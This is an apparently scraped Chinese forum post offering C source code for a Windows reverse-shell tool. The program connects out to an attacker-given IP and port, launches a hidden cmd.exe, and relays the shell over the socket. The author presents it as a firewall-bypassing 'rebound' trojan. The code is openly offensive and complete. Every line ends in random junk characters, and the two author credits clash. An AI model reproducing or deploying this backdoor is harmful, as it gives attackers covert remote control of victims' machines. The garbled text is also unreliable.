这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Z0[)u_<
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/* ============================== <`R|a *
Rebound port in Windows NT \!+-4,CbZY
By wind,2006/7 [ME}Cv`?<E
===============================*/ u\{qH!?t
#include ]Q6+e(:~ZH
#include .e`,{G(5q7
?Yq J.F;
#pragma comment(lib,"wsock32.lib") .O5LI35,
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void OutputShell(); w=f0*$ue+w
SOCKET sClient; |Z`M*.d+
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @gt)P4yE
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void main(int argc,char **argv) V19e>
{ Qw24/DJK
WSADATA stWsaData; .UM<a
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int nRet; t6'61*)|0
SOCKADDR_IN stSaiClient,stSaiServer; D9 qX->p
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if(argc != 3) ,M\j%3
{ J0^{,eY<
printf("Useage:\n\rRebound DestIP DestPort\n"); cPpu
return; 5cD
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} h [nH<m
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WSAStartup(MAKEWORD(2,2),&stWsaData); &EAk
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]>tq|R78
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stSaiClient.sin_family = AF_INET; 0o=!j3RjH
stSaiClient.sin_port = htons(0); NH'1rt(w
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Eo%UuSi
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Tr}R`6d$
{
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printf("Bind Socket Failed!\n"); u-m %=2
return; Q`H#
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} B|cA[
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stSaiServer.sin_family = AF_INET; PC*m%
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 'UY[ap
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ]EB6+x!G
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) '@'B>7C#
{ :3JCvrq
printf("Connect Error!"); n
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return; mO#I nTO
} ]#F q>E
OutputShell(); Mv|vRx^b
} p1+7<Y:
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void OutputShell() r=h8oUNEJ*
{ cp$.,V
char szBuff[1024]; :@.C4oq
SECURITY_ATTRIBUTES stSecurityAttributes; |5W8Q|>%
OSVERSIONINFO stOsversionInfo; ,{?wKXJ}L!
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; )))2fskZ
STARTUPINFO stStartupInfo; #nKRTb+{
char *szShell; g^1r0.Sp{8
PROCESS_INFORMATION stProcessInformation; _3|6ZO
unsigned long lBytesRead; 3 h#s([uL
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $4=Ne3y
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >A3LA3(
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stSecurityAttributes.lpSecurityDescriptor = 0; yL.^ =
stSecurityAttributes.bInheritHandle = TRUE; +Y7Pg'35
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); L#n}e7Y9
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); H ZPcd_(
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); tyB)HF
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8$ic~eJ
stStartupInfo.wShowWindow = SW_HIDE; 1YFeVMc
stStartupInfo.hStdInput = hReadPipe; (#oYyM]
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2xDQ:=ec
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GetVersionEx(&stOsversionInfo); ?FN9rhAC
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switch(stOsversionInfo.dwPlatformId) 0{Bf9cH
{ _74UdD{^o
case 1: m=H_?W;
szShell = "command.com"; Vn'?3Eb<
break; P@C
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default: `mrCu>7
szShell = "cmd.exe"; |"Z-7@/k$i
break; 0C]4~F x~
} o5P&JBX<
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); gt/!~f0r
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send(sClient,szMsg,77,0); NEMEY7De2
while(1) \7yJ\I
{ #pX8{Tf[
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); v; Es^
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if(lBytesRead) pajy#0 U
{ G.Tpl-m
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !3h{lEB
send(sClient,szBuff,lBytesRead,0); Je^Y&a~
} vevf[eO-
else 4f!dYo4L
{ QWw"K$l
lBytesRead=recv(sClient,szBuff,1024,0); ;u,rtEMy;
if(lBytesRead<=0) break; _%%yV
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); FuuS"G,S
} %*jGim~s
} :W~f;k
&mcR
return; "qS!B.rt:
}